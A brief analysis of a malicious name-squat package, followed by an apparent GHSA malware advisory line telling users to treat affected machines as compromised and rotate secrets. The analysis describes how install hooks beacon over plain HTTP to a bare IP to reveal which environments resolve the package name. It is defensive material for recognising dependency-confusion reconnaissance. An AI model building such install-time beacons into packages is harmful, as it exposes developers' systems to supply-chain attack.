The destination is a hardcoded bare IPv4 over plain HTTP with path segments identifying the package name and lifecycle stage, so every install signals the installer's host (source IP, user-agent, timing) to an operator-controlled endpoint. The behavior is the canonical dependency-confusion reconnaissance shape: a name-squat package whose only install-time action is a callback identifying which environments resolve the name. No legitimate package purpose is served by a plain-HTTP beacon to a bare IP in both pre- and postinstall hooks.\n\n## Source: ghsa-malware (4a2d380d6ee8962fa08a64ed46e97d530797c008f516c0cf19ccc8ce7dbebb49)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.
